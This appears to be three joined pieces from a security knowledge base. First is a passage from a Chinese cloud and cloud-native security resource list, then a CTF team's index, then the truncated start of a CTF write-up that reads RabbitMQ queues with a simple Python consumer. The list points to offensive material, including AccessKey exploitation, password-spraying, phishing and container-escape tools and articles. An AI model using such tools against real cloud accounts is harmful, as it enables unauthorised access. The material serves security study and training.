* TeamsSix 的个人博客 [地址](https://teamssix.com/)
* Lightspin 博客(英文)[地址](https://blog.lightspin.io/)
* Sysdig 云安全报告资讯(英文)[地址](https://sysdig.com/resources/reports/)
* Sysdig 博客(英文)[地址](https://sysdig.com/blog/)
* 容器杂志资讯(英文)[地址](https://containerjournal.com/)
* DevOps 安全博客(英文)[地址](https://www.conjur.org/blog/)
* Aqua 博客(英文)[地址](https://blog.aquasec.com/)
* Lightspin 博客(英文)[地址](https://blog.lightspin.io/)
* CNCF 博客(英文)[地址](https://www.cncf.io/blog/)
* WIZ 博客(英文)[地址](https://www.wiz.io/blog/)
* Rhino Security Labs 博客(英文)[地址](https://rhinosecuritylabs.com/blog/?category=cloud-security)
* Bridgecrew 博客(英文)[地址](https://bridgecrew.io/blog/)
* Trend Micro 博客(英文)[地址](https://www.trendmicro.com/en_us/devops.html)
* 安全大道资讯(英文)[地址](https://securityboulevard.com/cloud-security/)
* Deepfence 博客(英文)[地址](https://deepfence.io/blog/)
* Lacework 博客(英文)[地址](https://www.lacework.com/blog/)
* Humanitec 博客(英文)[地址](https://humanitec.com/blog)
* Orca 博客(英文)[地址](https://orca.security/resources/blog/)
* Praetorian 博客(英文)[地址](https://www.praetorian.com/blog)
* Ermetic 博客(英文)[地址](https://ermetic.com/blog)
* Christophe Tafani-Dereeper 博客(英文)[地址](https://blog.christophetd.fr/)
* 福布斯 Cloud 100(英文)[地址](https://forbes.com/lists/cloud100/)
* Gafnit Amiga 的个人博客(英文)[地址](https://gafnit.blog/)
* Nick Frichette 的个人博客(英文)[地址](https://frichetten.com/)
* Chris Farris 的个人博客(英文)[地址](https://www.chrisfarris.com/)
* HashiCorp 博客(英文)[地址](https://www.hashicorp.com/blog)
* PeoplActive 博客(英文)[地址](https://peoplactive.com/blog/)
* 绿盟技术博客 [地址](http://blog.nsfocus.net/tag/%e4%ba%91%e5%ae%89%e5%85%a8/)
* devops 资讯(英文)[地址](https://devops.com/)
* 0xd4y 博客(英文)[地址](https://0xd4y.com/)
* AWS 安全公告(英文)[地址](https://aws.amazon.com/security/security-bulletins)
* CIS Benchmarks 下载页(英文)[地址](https://downloads.cisecurity.org)
* 云安全资讯(每周更新一次)(英文)[地址](https://cloudseclist.com/past-issues)
* 云原生实验室博客 [地址](https://icloudnative.io) `由「DVKunion」师傅补充,感谢支持`
* 云计算市场资讯(英文)[地址](https://interconnected.blog/tag/cloud-industry)
### 3 公众号
* TeamsSix
* 火线 Zone
* 云鼎实验室
* 绿盟科技研究通讯
* 默安逐日实验室
* Linux 云计算网络 `由「zxynull」师傅补充,感谢支持`
* 云原生技术社区 `由「zxynull」师傅补充,感谢支持`
* 进击云原生 `由「zxynull」师傅补充,感谢支持`
* CNCF
* 容器魔方
* 云计算D1net
* 云原生社区动态
* 大可不加冰
### 4 推特
* TeamsSix [](https://twitter.com/teamssix)
* 0xd4y [](https://twitter.com/0xd4y)
* Andy Robbins [](https://twitter.com/_wald0)
* Beau Bullock [](https://twitter.com/dafthack)
* Chris Farris [](https://twitter.com/jcfarris)
* Christophe Tafani-Dereeper [](https://twitter.com/christophetd)
* Dirk-jan [](https://twitter.com/_dirkjan)
* Dr. Nestori Syynimaa [](https://twitter.com/DrAzureAD)
* Emilien Socchi [](https://twitter.com/emiliensocchi)
* Fabian Bader [](https://twitter.com/fabian_bader)
* gafnit [](https://twitter.com/gafnitav)
* inversecosᵘʷᵘ [](https://twitter.com/inversecos)
* Jason Ostrom [](https://twitter.com/securitypuck)
* Joosua Santasalo [](https://twitter.com/SantasaloJoosua)
* Karl [](https://twitter.com/kfosaaen)
* Kfzz1 [](https://twitter.com/Kfzz12)
* Liv Matan [](https://twitter.com/terminatorLM)
* Marco Lancini [](https://twitter.com/lancinimarco)
* Melvin langvik [](https://twitter.com/Flangvik)
* Merill [](https://twitter.com/merill)
* mx7krshell [](https://twitter.com/mx7krshell)
* Nathan McNulty [](https://twitter.com/NathanMcNulty)
* Nick Frichette [](https://twitter.com/Frichette_n)
* Nikhil Mittal [](https://twitter.com/nikhil_mitt)
* Nir Ohfeld [](https://twitter.com/nirohfeld)
* Rhino Security Labs [](https://twitter.com/RhinoSecurity)
* Roberto Rodriguez [](https://twitter.com/Cyb3rWard0g)
* rootsecdev [](https://twitter.com/rootsecdev)
* rvrsh3ll [](https://twitter.com/424f424f)
* Ryan Hausknecht [](https://twitter.com/Haus3c)
* Sami Lamppu [](https://twitter.com/samilamppu)
* Sean Metcalf [](https://twitter.com/PyroTek3)
* Seth Art [](https://twitter.com/sethsec)
* Shir Tamari [](https://twitter.com/shirtamari)
* Skyworship [](https://twitter.com/Skyworship2)
* Thomas Naunheim [](https://twitter.com/Thomas_Live)
### 5 书籍
* 《云原生安全-攻防实践与体系构建》
* 《Hacking Kubernetes》
* 《Hands-On AWS Penetration Testing with Kali Linux》
### 6 视频
* 火线云安全沙龙视频 [地址](https://space.bilibili.com/503330419)
* CNCF 频道(英文)[地址](https://youtube.com/@cncf)
* 0xd4y 频道(英文)[地址](https://www.youtube.com/@0xd4y)
* WIZ 频道(英文)[地址](https://www.youtube.com/@wizsecurity)
### 7 证书
* AWS 安全认证-专业 AWS Certified Security - Specialty [地址](https://aws.amazon.com/certification/certified-security-specialty/)
* AWS 认证解决方案架构师-助理 AWS Certified Solutions Architect – Associate [地址](https://aws.amazon.com/cn/certification/certified-solutions-architect-associate/)
* Azure 基础知识认证 Azure Fundamentals [地址](https://learn.microsoft.com/certifications/azure-fundamentals/)
* Azure 安全工程师助理 Azure Security Engineer Associate [地址](https://learn.microsoft.com/certifications/azure-security-engineer/)
* CompTIA Cloud+ [地址](https://www.comptia.org/certifications/cloud)
* GCP 专业云安全工程师 GCP Professional Cloud Security Engineer [地址](https://cloud.google.com/learn/certification/cloud-security-engineer)
* GCP 云工程师助理 Associate Cloud Engineer [地址](https://cloud.google.com/learn/certification/cloud-engineer)
* Kubernetes 认证安全专家 Certified Kubernetes Security Specialist (CKS) [地址](https://training.linuxfoundation.org/certification/certified-kubernetes-security-specialist/)
* 认证云安全专家 Certified Cloud Security Professional (CCSP) [地址](https://www.isc2.org/Certifications/CCSP)
* 阿里云专业工程师 Alibaba Cloud Certified Professional (ACP) [地址](https://edu.aliyun.com/certification)
* 阿里云云计算架构师 Alibaba Cloud Certified Expert - Cloud Computing (ACE) [地址](https://edu.aliyun.com/certification/ace01)
* 阿里云助理工程师 Alibaba Cloud Certified Associate (ACA) [地址](https://edu.aliyun.com/certification)
### 8 云服务文章
* AWS S3 对象存储攻防 :fire: [地址](https://zone.huoxian.cn/d/907-aws-s3)
* AWS EC2 弹性计算服务攻防 [地址](https://zone.huoxian.cn/d/1022-aws-ec2)
* 阿里云 OSS 对象存储攻防 :fire: [地址](https://zone.huoxian.cn/d/918-oss)
* 阿里云 ECS 攻防 [地址](https://zone.huoxian.cn/d/1064-ecs)
* 腾讯云 COS 对象存储攻防 [地址](https://zone.huoxian.cn/d/949-cos)
* 腾讯云服务器攻防(CVM+轻量应用服务器)[地址](https://zone.huoxian.cn/d/1028-cvm)
* 华为云 OBS 对象存储攻防 [地址](https://zone.huoxian.cn/d/962-obs)
* 华为云 ECS 弹性云服务器攻防 [地址](https://zone.huoxian.cn/d/1074-ecs)
* 谷歌云 对象存储攻防 [地址](https://zone.huoxian.cn/d/931)
* 谷歌云 Compute Engine 攻防 [地址](https://zone.huoxian.cn/d/1043-compute-engine)
* 微软云 对象存储攻防 [地址](https://zone.huoxian.cn/d/940)
* 微软云 VM 攻防 [地址](https://zone.huoxian.cn/d/1083-vm)
* 浅谈云上攻防——云服务器攻防矩阵 :fire: [地址](https://cloud.tencent.com/developer/article/1931560)
* 针对 AWS Lambda 的运行时攻击 [地址](https://mp.weixin.qq.com/s/duF1Z0EDC3n_G378Aq_XYA)
* 浅谈云上攻防——对象存储服务访问策略评估机制研究 [地址](https://mp.weixin.qq.com/s/ncWGrMsIAvh9HEK1QC5IGQ)
* 红队视角下的公有云基础组件安全 [地址](https://mp.weixin.qq.com/s/r0DuASP6gH_48b5sJ1DCTw)
* 红队视角下的公有云基础组件安全(二)[地址](https://mp.weixin.qq.com/s/lL32lywlrnuyhJkQk5NAEw)
* 利用 AWS RDS 读取实例凭证(英文)[地址](https://blog.lightspin.io/aws-rds-critical-security-vulnerability)
* 利用 AWS RDS 读取实例凭证(中文翻译)[地址](https://zone.huoxian.cn/d/1141-aws-rdsaws)
* 风险最高的 10 种 AWS 配置错误 [地址](https://mp.weixin.qq.com/s/quIpapbkFNay0JtUK4wODQ)
* 公有云 IP 重用的威胁和防御方法分析 Paper(英文)[地址](https://arxiv.org/pdf/2204.05122.pdf)
* 华为云 CTF cloud 非预期解之 k8s 渗透实战 [地址](https://annevi.cn/2020/12/21/%E5%8D%8E%E4%B8%BA%E4%BA%91ctf-cloud%E9%9D%9E%E9%A2%84%E6%9C%9F%E8%A7%A3%E4%B9%8Bk8s%E6%B8%97%E9%80%8F%E5%AE%9E%E6%88%98/)
* 企业迁移到公有云之前要问的5个问题 [地址](http://www.d1net.com/cloud/news/574569.html)
* 在 AWS 下查看自己所拥有的权限 [地址](https://wiki.teamssix.com/CloudService/IAM/list-attached-user-policies.html)
* 云上攻防:RED TEAMING FOR CLOUD [地址](http://avfisher.win/archives/1175)
* 云上攻防二三事(续)[地址](http://avfisher.win/archives/1331)
* 从云服务器 SSRF 漏洞到接管你的阿里云控制台 [地址](https://wiki.teamssix.com/CloudService/EC2/aliyun-console-takeover.html)
* 我用 CF 打穿了他的云上内网 :fire: [地址](https://zone.huoxian.cn/d/1341-cf)
* Google Cloud Shell 命令注入(英文)[地址](https://bugra.ninja/posts/cloudshell-command-injection)
* 云计算隔离问题:PostgreSQL 的漏洞影响到多个云计算供应商(英文)[地址](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)
* 记录一次平平无奇的云上攻防过程 [地址](https://zone.huoxian.cn/d/2557)
* Azure Cloud Shell 命令注入窃取用户的访问令牌(英文)[地址](https://blog.lightspin.io/azure-cloud-shell-command-injection-stealing-users-access-tokens)
* 一次简单的"云"上野战记录 [地址](https://mp.weixin.qq.com/s/wi8CoNwdpfJa6eMP4t1PCQ)
* AWS 枚举(第一部分)(英文)[地址](https://securitycafe.ro/2022/11/01/aws-enumeration-part-1/)
* GCP 渗透测试笔记(英文)[地址](https://0xd4y.com/2022/10/01/GCP-Penetration-Testing-Notes/)
* 常规云服务业务侧攻防视角研究 [地址](https://mp.weixin.qq.com/s/2yaQ_W5K7BfmycMO2UcXJg)
* 记一次打穿云上内网的攻防实战 [地址](https://zone.huoxian.cn/d/2766)
* AWS 权限提升(英文)[地址](https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation) 
* 云服务安全漏洞汇总 [地址](https://github.com/hashishrajan/cloud-security-vulnerabilities) 
* Lightspin 2022 年 7 大云攻击路径(英文) [地址](https://github.com/lightspin-tech/lightspin-2022-top-7-attack-paths) 
### 9 云原生文章
* 特权模式下 Docker 逃逸手法总结 :fire: [地址](https://zone.huoxian.cn/d/1071-docker)
* 容器逃逸方法检测指北(附检测脚本)[地址](https://zone.huoxian.cn/d/990)
* Terraform 中文教程 :fire: [地址](https://lonegunmanb.github.io/introduction-terraform/)
* 利用 gateway-api,我支配了 kubernetes [地址](https://mp.weixin.qq.com/s/Y4F72s0JSyvjLBN3iNyUZg)
* 红蓝对抗中的云原生漏洞挖掘及利用实录 [地址](https://security.tencent.com/index.php/blog/msg/183)
* 利用 AWS 官方对 log4j 漏洞的热补丁实现容器逃逸(英文)[地址](https://unit42.paloaltonetworks.com/aws-log4shell-hot-patch-vulnerabilities/)
* CIS 基准检测手册(英文) [地址](https://www.cisecurity.org/benchmark/kubernetes) `由「zhengjim」师傅补充,感谢支持`
* Docker 核心技术与实现原理 [地址](https://draveness.me/docker/) `由「zxynull」师傅补充,感谢支持`
* 浅谈 Linux Cgroup 机制 [地址](https://zhuanlan.zhihu.com/p/81668069) `由「zxynull」师傅补充,感谢支持`
* 使用 eBPF 逃逸容器技术分析与实践 [地址 ](https://security.tencent.com/index.php/blog/msg/206) `由「zxynull」师傅补充,感谢支持`
* 内核态 eBPF 程序实现容器逃逸与隐藏账号rootkit [地址 ](https://www.cnxct.com/container-escape-in-linux-kernel-space-by-ebpf/?f=wb&continueFlag=0ba98c50fdecece390192b7dd4adf11d) `由「zxynull」师傅补充,感谢支持`
* 基于 eBPF 实现容器运行时安全 [地址](https://www.ebpf.top/post/ebpf_container_security/) `由「zxynull」师傅补充,感谢支持`
* 浅析 k8s 各种未授权攻击方法 [地址](https://zone.huoxian.cn/d/1153-k8s)
* APISIX CVE-2022-29266 漏洞分析与复现 [地址](https://mp.weixin.qq.com/s/Un-9y_UhWDw9svHKb-JQVQ)
* 保障云和容器安全的十个注意事项(英文)[地址](https://sysdig.com/blog/considerations-securing-cloud-containers/)
* CNCF 云原生安全白皮书 v2 [地址](https://github.com/cncf/tag-security/tree/main/security-whitepaper/v2)
* 初探 eBPF [地址](https://mp.weixin.qq.com/s/GvWKY4M5YvorC4JF2ztUvQ)
* Terraform 使用入门以及在云上攻防中的作用 [地址](https://wiki.teamssix.com/CloudNative/Terraform/terraform-introductory.html)
* 云原生之 Kubernetes 安全 [地址](https://forum.butian.net/share/1095)
* RCE 进入内网接管 K8s 并逃逸进 xx 网 [地址](https://mp.weixin.qq.com/s/UvjKHaVzhluc22trF46uBA)
* 从零开始的 Kubernetes 攻防 [地址](https://github.com/neargle/my-re0-k8s-security) 
* 容器安全清单 container-security-checklist [地址](https://github.com/krol3/container-security-checklist)  `由「zxynull」师傅补充,感谢支持`
* awesome-cloud-native-security from Metarget [地址](https://github.com/Metarget/awesome-cloud-native-security) 
## 0x02 工具 :hammer_and_wrench:
### 1 云服务工具
#### 辅助工具
<br>
**多云**
* 在线搜索目标网站下的云资产 recon.cloud [地址](https://recon.cloud/)
* 在线多云管理平台 行云管家 [地址](https://www.cloudbility.com/) `由「半人间丶」师傅补充,感谢支持`
* AK 等敏感信息查找工具 trufflehog [地址](https://github.com/trufflesecurity/trufflehog) 
* 多云基线扫描工具 ScoutSuite [地址](https://github.com/nccgroup/ScoutSuite) 
* 基础设施关系绘制工具 Cartography [地址](https://github.com/lyft/cartography) 
* 云安全态势管理工具 CloudSploit [地址](https://github.com/aquasecurity/cloudsploit)  `由「da Vinci【达文西】」师傅补充,感谢支持`
* 多云对象存储管理工具 qiniuClient [地址](https://github.com/willnewii/qiniuClient)  `由「半人间丶」师傅补充,感谢支持`
* 云渗透信息收集工具 cloudfox [地址](https://github.com/BishopFox/cloudfox) 
* 云服务资源枚举工具 cloud_enum [地址](https://github.com/initstring/cloud_enum) 
* 开源多云安全合规扫描平台 RiskScanner [地址](https://github.com/riskscanner/riskscanner)  `由「想走安全的小白」师傅补充,感谢支持`
* 多云对象存储扫描工具 Cloud-Bucket-Leak-Detection-Tools [地址](https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools) 
* 适用于 AWS 和 Azure 的扫描工具 SkyArk [地址](https://github.com/cyberark/SkyArk) 
* 云上公开资产枚举 CloudBrute [地址](https://github.com/0xsha/CloudBrute) 
* 多云资产收集工具 cloudlist [地址](https://github.com/projectdiscovery/cloudlist)  `由「Kfzz1」师傅补充,感谢支持`
* 权限升级路径分析工具 PurplePanda [地址](https://github.com/carlospolop/PurplePanda) 
* 云上攻击模拟工具 Leonidas [地址](https://github.com/WithSecureLabs/leonidas) 
* 开源的轻量级云管平台 CloudExplorer Lite [地址](https://github.com/CloudExplorer-Dev/CloudExplorer-Lite) 
* 红队云操作系统 RedCloudOS [地址](https://github.com/RedTeamOperations/RedCloud-OS) 
* 云服务枚举工具 cloud service enum [地址](https://github.com/NotSoSecure/cloud-service-enum) 
**AWS**
* 在线搜索公开的存储桶 buckets.grayhatwarfare.com [地址](https://buckets.grayhatwarfare.com/)
* AWS 文档 GPT 工具 [地址](https://www.awsdocsgpt.com)
* AWS 官方 CLI 工具 [地址](https://github.com/aws/aws-cli) 
* AWS 环境分析工具 CloudMapper [地址](https://github.com/duo-labs/cloudmapper) 
* S3 策略扫描工具 S3Scanner [地址](https://github.com/sa7mon/S3Scanner) 
* AWS IAM 权限枚举工具 Principal Mapper [地址](https://github.com/nccgroup/PMapper) 
* AWS IAM 权限枚举工具 enumerate-iam [地址](https://github.com/andresriancho/enumerate-iam) 
* S3 公开存储桶密钥扫描工具 S3cret Scanner [地址](https://github.com/Eilonh/s3crets_scanner) 
* AWS 常见配置错误审计工具 YATAS [地址](https://github.com/padok-team/yatas) 
* Route53/CloudFront 漏洞评估工具 [地址](https://github.com/prevade/cloudjack) 
* 检测多云环境中存在 dangling DNS 记录的工具 findmytakeover [地址](https://github.com/anirudhbiyani/findmytakeover) 
**Azure**
* Azure 官方 CLI 工具 [地址](https://github.com/Azure/azure-cli) 
* Azure MFA 检测工具 [地址](https://github.com/dafthack/MFASweep) 
* Azure AD 和 Office 365 的 PowerShell 管理模块 AADInternals [地址](https://github.com/Gerenios/AADInternals) 
* BloodHound 收集 Azure 数据工具 AzureHound [地址](https://github.com/BloodHoundAD/AzureHound)  `由「Kfzz1」师傅补充,感谢支持`
* Azure AD 信息收集工具 AzureGraph [地址](https://github.com/JoelGMSec/AzureGraph)  `由「Kfzz1」师傅补充,感谢支持`
**GCP**
* GCP 官方 CLI 工具 [地址](https://cloud.google.com/sdk/gcloud/)
* GCP 资源枚举工具 [地址](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_enum)
* GCP 攻击面资源枚举工具 [地址](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_firewall_enum)
* GCP 资源分析工具 Hayat [地址](https://github.com/DenizParlak/hayat) 
* GCP IAM 权限收集工具 gcp-iam-collector [地址](https://github.com/marcin-kolda/gcp-iam-collector) 
* Google Workspace 目录转储工具 Google Workspace Directory Dump Tool [地址](https://github.com/RedTeamOperations/GoogleWorkspaceDirectoryDump) 
**阿里云**
* 阿里云官方 OSS 管理工具 [地址](https://github.com/aliyun/oss-browser)  `由「半人间丶」师傅补充,感谢支持`
* 阿里云官方 CLI 工具 [地址](https://github.com/aliyun/aliyun-cli) 
**腾讯云**
* 腾讯云轻量服务器管理工具 [地址](https://www.qqvps.com/d/1011) `由「tanger」师傅补充,感谢支持`
* 腾讯云官方 COS 辅助工具 [地址](https://cosbrowser.cloud.tencent.com/) `由「Esonhugh」师傅补充,感谢支持`
* 腾讯云官方 CLI 工具 [地址](https://github.com/TencentCloud/tencentcloud-cli) 
**华为云**
* 华为云 OBS 官方管理工具 OBS Browser+ [地址](https://support.huaweicloud.com/browsertg-obs/obs_03_1003.html)
**天翼云**
* 天翼云对象存储连接工具 [地址](https://www.ctyun.cn/document/10000101/10006768)
**青云**
* 青云官方 CLI 工具 [地址](https://docsv4.qingcloud.com/user_guide/development_docs/cli/install/install) `由 「苏打养乐多」师傅补充,感谢支持`
#### 利用工具
<br>
**多云**
* 阿里云/腾讯云 AK 资源管理工具 [地址](https://github.com/wyzxxz/aksk_tool)  `由「Esonhugh」师傅补充,感谢支持`
**AWS**
* AWS 综合利用工具 pacu [地址](https://github.com/RhinoSecurityLabs/pacu) 
* AWS 渗透工具集 aws-pentest-tools [地址](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools) 
* AWS Lambda 密码喷洒工具 CredKing [地址](https://github.com/ustayready/CredKing) 
* AWS AccessKey 泄漏利用工具 awsKeyTools [地址](https://github.com/Aabyss-Team/awsKeyTools)  `由「1derian」和「ShangRui-hash」师傅联合补充,感谢支持`
* AWS 渗透测试工具 Endgame [地址](https://github.com/DavidDikker/endgame) 
* AWS 红队利用脚本 Redboto [地址](https://github.com/ihamburglar/Redboto) 
* AWS 控制台接管利用工具 aws_consoler [地址](https://github.com/NetSPI/aws_consoler) 
* AWS 域控卷影拷贝工具 CloudCopy [地址](https://github.com/Static-Flow/CloudCopy) 
**Azure**
* Azure 安全评估 PowerShell 工具包 MicroBurst [地址](https://github.com/NetSPI/MicroBurst) 
* Azure AD 利用工具集 ROADtools [地址](https://github.com/dirkjanm/ROADtools) 
* Azure 红队利用工具 Stormspotter [地址](https://github.com/Azure/Stormspotter)  `由「da Vinci【达文西】」师傅补充,感谢支持`
* 枚举、喷洒、渗透 O365 AAD 帐户工具 TeamFiltration [地址](https://github.com/Flangvik/TeamFiltration) 
* Azure JWT 令牌操作工具集 TokenTactics [地址](https://github.com/rvrsh3ll/TokenTactics) 
* Microsoft 365 安全工具箱 DCToolbox [地址](https://github.com/DanielChronlund/DCToolbox) 
* 滥用 Microsoft 365 OAuth 授权流程进行网络钓鱼攻击的概念验证脚本 Microsoft365_devicePhish [地址](https://github.com/optiv/Microsoft365_devicePhish) 
* Azure AD 身份保护 Cookie 重放测试工具 [地址](https://github.com/jsa2/aadcookiespoof) 
**GCP**
* GCP 利用工具集 [地址](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_misc)
* GCP Bucket 枚举工具 GCPBucketBrute [地址](https://github.com/RhinoSecurityLabs/GCPBucketBrute) 
* GCP IAM 权限提升方法 GCP-IAM-Privilege-Escalation [地址](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation)  `由「da Vinci【达文西】」师傅补充,感谢支持`
* GCP Token 复用工具 [地址](https://github.com/RedTeamOperations/GCPTokenReuse) 
**阿里云**
* 阿里云 AccessKey 利用工具 aliyun-accesskey-Tools [地址](https://github.com/mrknow001/aliyun-accesskey-Tools)  `由「半人间丶」师傅补充,感谢支持`
* 阿里云 ECS、策略组辅助小工具 alicloud-tools [地址](https://github.com/iiiusky/alicloud-tools)  `由「半人间丶」师傅补充,感谢支持`
* 阿里云 AccessKey 泄漏利用工具 AliyunAccessKeyTools [地址](https://github.com/NS-Sp4ce/AliyunAccessKeyTools)  `由「半人间丶」师傅补充,感谢支持`
**腾讯云**
* 腾讯云 AccessKey 利用工具 Tencent_Yun_tools [地址](https://github.com/freeFV/Tencent_Yun_tools) 
### 2 云原生工具
#### 辅助工具
* 一个支持在线分析容器镜像的网站 contains [地址](https://contains.dev/) `由「zxynull」师傅补充,感谢支持`
* 容器镜像分析工具 DIVE [地址](https://github.com/wagoodman/dive)  `由「zxynull」师傅补充,感谢支持`
* 基于终端 UI 的 k8s 集群管理工具 k9s [地址](https://github.com/derailed/k9s) 
* 镜像扫描工具 trivy [地址](https://github.com/aquasecurity/trivy)  `由「zxynull」师傅补充,感谢支持`
* 容器镜像漏洞静态扫描工具 Clair [地址](https://github.com/quay/clair)  `由「zxynull」师傅补充,感谢支持`
* 检查生产环境中部署容器的最佳实践 Docker_Bench_Security [地址](https://github.com/docker/docker-bench-security)  `由「zxynull」师傅补充,感谢支持`
* 原生支持容器的系统可见性工具 sysdig [地址](https://github.com/draios/sysdig)  `由「zxynull」师傅补充,感谢支持`
* k8s 异常活动检测工具 Falco [地址](https://github.com/falcosecurity/falco)  `由「zxynull」师傅补充,感谢支持`
* CIS 基准检测工具 kube bench [地址](https://github.com/aquasecurity/kube-bench)  `由「zhengjim」师傅补充,感谢支持`
* Docker 镜像扫描工具 Anchore [地址](https://github.com/anchore/syft/)  `由「zxynull」师傅补充,感谢支持`
* k8s 集群安全漏洞发现工具 kube hunter [地址](https://github.com/aquasecurity/kube-hunter)  `由「zhengjim」师傅补充,感谢支持`
* 开源的云原生安全平台 HummerRisk [地址](https://github.com/HummerRisk/HummerRisk)  `由「Ma1tobiose」师傅补充,感谢支持`
* k8s 集群风险权限扫描工具 KubiScan [地址](https://github.com/cyberark/KubiScan)  `由「UzJu」师傅补充,感谢支持`
* Docker 静态分析工具 Dagda [地址](https://github.com/eliasgranderubio/dagda/)  `由「zxynull」师傅补充,感谢支持`
* k8s 安全风险检测工具 StackRox [地址](https://github.com/stackrox/stackrox) [工具介绍](https://www.stackrox.io/blog/open-source-stackrox-is-now-available/)  `由「m4d3bug」师傅补充,感谢支持`
* k8s 安全审计工具 kubestriker [地址](https://github.com/vchinnipilli/kubestriker)  `由「zhengjim」师傅补充,感谢支持`
* 基于 kubectl 的红队 k8s 安全评估工具 red kube [地址](https://github.com/lightspin-tech/red-kube)  `由「zhengjim」师傅补充,感谢支持`
* 开源云原生安全防护平台 neuvector [地址](https://github.com/neuvector/neuvector)  `由「Idle Life」师傅补充,感谢支持`
* k8s 调试辅助工具 validkube [地址](https://github.com/komodorio/validkube) 
* Terraform 可视化 [地址](https://github.com/hieven/terraform-visual) 
* 容器逃逸检测工具 container-escape-check [地址](https://github.com/teamssix/container-escape-check) 
#### 利用工具
* 容器渗透工具集 CDK [地址](https://github.com/cdk-team/CDK) 
* 容器安全工具集 veinmind-tools [地址](https://github.com/chaitin/veinmind-tools) 
* k8s 渗透测试工具 Peirates [地址](https://github.com/inguardians/peirates)  `由「Idle Life」师傅补充,感谢支持`
* 容器渗透测试工具 BOtB [地址](https://github.com/brompwnie/botb)  `由「Idle Life」师傅补充,感谢支持`
* 容器利用工具 CCAT [地址](https://github.com/RhinoSecurityLabs/ccat)  `由「zhengjim」师傅补充,感谢支持`
## 0x03 靶场 :dart:
* 在线收费的包含云安全实验的靶场 Attack Defense [地址](https://attackdefense.pentesteracademy.com/listing?labtype=cloud-services&subtype=cloud-services-amazon-s3)
* 在线免费的 AWS 渗透测试靶场 Free AWS Security Labs [地址](https://pentesting.cloud/) `由「cr」师傅补充,感谢支持`
* k8s 靶场部署工具 Kubernetes Goat [地址](https://github.com/madhuakula/kubernetes-goat)  `由「UzJu」师傅补充,感谢支持`
* AWS 靶场部署工具 cloudgoat [地址](https://github.com/RhinoSecurityLabs/cloudgoat) 
* CI/CD 靶场部署工具 [地址](https://github.com/cider-security-research/cicd-goat)  `由「Kfzz1」师傅补充,感谢支持`
* AWS 靶场 AWSGoat [地址](https://github.com/ine-labs/AWSGoat) 
* 云原生靶场部署工具 metarget [地址](https://github.com/Metarget/metarget) 
* Azure 靶场 AzureGoat [地址](https://github.com/ine-labs/AzureGoat)  `由「Kfzz1」师傅补充,感谢支持`
* 多云靶场搭建工具 TerraformGoat [地址](https://github.com/HuoCorp/TerraformGoat) 
* GCP 靶场部署工具 GCPGoat [地址](https://github.com/ine-labs/GCPGoat)  `由「Kfzz1」师傅补充,感谢支持`
## 贡献者 :confetti_ball:
感谢你们的支持 ~
<table>
<tr>
<td align="center"><img alt="TeamsSix"
src="/img/1651741861.png" style="width: 100px;"/><br />TeamsSix</td>
<td align="center"><img alt="1derian"
src="/img/1650108029.png" style="width: 100px;" /><br />1derian</td>
<td align="center"><img alt="ShangRui-hash"
src="/img/1650108092.png" style="width: 100px;" /><br />ShangRui-hash</td>
<td align="center"><img alt="半人间丶"
src="/img/1650108207.png" style="width: 100px;" /><br />半人间丶</td>
<td align="center"><img alt="UzJu"
src="/img/1650253985.png" style="width: 100px;" /><br />UzJu</a></td>
<td align="center"><img alt="Idle Life"
src="/img/1650865577.png" style="width: 100px;" /><br />Idle Life</td>
</tr>
<tr>
<td align="center"><img alt="zhengjim"
src="/img/1650942808.png" style="width: 100px;" /><br />zhengjim</a></td>
<td align="center"><img alt="zxynull"
src="/img/1651146804.png" style="width: 100px;" /><br />zxynull</a></td>
<td align="center"><img alt="m4d3bug"
src="/img/1651740464.png" style="width: 100px;" /><br />m4d3bug</a></td>
<td align="center"><img alt="da Vinci【达文西】"
src="/img/1651917214.png" style="width: 100px;" /><br />da Vinci【达文西】</a></td>
<td align="center"><img alt="tanger"
src="/img/1653815174.png" style="width: 100px;" /><br />tanger</a></td>
<td align="center"><img alt="想走安全的小白"
src="/img/1654852861.png" style="width: 100px;" /><br />想走安全的小白</a></td>
</tr>
<tr>
<td align="center"><img alt="Esonhugh"
src="/img/1654854214.png" style="width: 100px;" /><br />Esonhugh</a></td>
<td align="center"><img alt="Kfzz1"
src="/img/1667370152.png" style="width: 100px;" /><br />Kfzz1</a></td>
<td align="center"><img alt="cr"
src="/img/1684313513.png" style="width: 100px;" /><br />cr</a></td>
<td align="center"><img alt="Ma1tobiose"
src="/img/1688880306.png" style="width: 100px;" /><br />Ma1tobiose</a></td>
<td align="center"><img alt="DVKunion"
src="/img/1689259230.png" style="width: 100px;" /><br />DVKunion</a></td>
<td align="center"><img alt="苏打养乐多"
src="/img/1692362083.png" style="width: 100px;" /><br />苏打养乐多</a></td>
</tr>
</table>
### 想要一起补充?直接给本项目提 PR 或者使用右侧链接中的方法:[补充说明地址](/About/Contribute.html)
<p> </p>
[](https://wiki.teamssix.com/)
<div align=center><img width="700" src="/img/wechat.png"></div><br>
<Vssue />
|
sec-knowleage
|
# CODE BLUE CTF 2018 Quals
Team: c7f.m0d3, shalom, chivay, Eternal, nazywam, akrasuski1
### Table of contents
* [LED (crypto)](crypto_LED)
* [lagalem (crypto)](crypto_lagalem)
* [Odin 1 & 2 (re)](odin)
* [MortAl mage aGEnts (only first part) (web)](web_mage)
|
sec-knowleage
|
# The Rabbit Hole
* Category: Misc
* 250 Points
* Solved by the JCTF Team
## Description
> My logs are always leaked, do you think you can read them?
>
> tcp://ctf:ctf@the-rabbit-hole.ctf.bsidestlv.com:5672
## Solution
Port 5672 is assigned to the `RabbitMQ` protocol:
> RabbitMQ is an open-source message-broker software. ([Source](https://en.wikipedia.org/wiki/RabbitMQ))
Wikipedia has a basic Python example showing how to receive messages from a queue. Based on that, we create the following script:
```python
import pika
def callback(ch, method, properties, body):
print(" [x] Received %r" % body)
connection = pika.BlockingConnection(pika.ConnectionParameters('the-rabbit-hole.ctf.bsidestlv.com', 5672, '/'))
channel = connection.channel()
channel.queue_declare(queue="hello")
print(" [*] Waiting for messages. To exit press Ctrl+C")
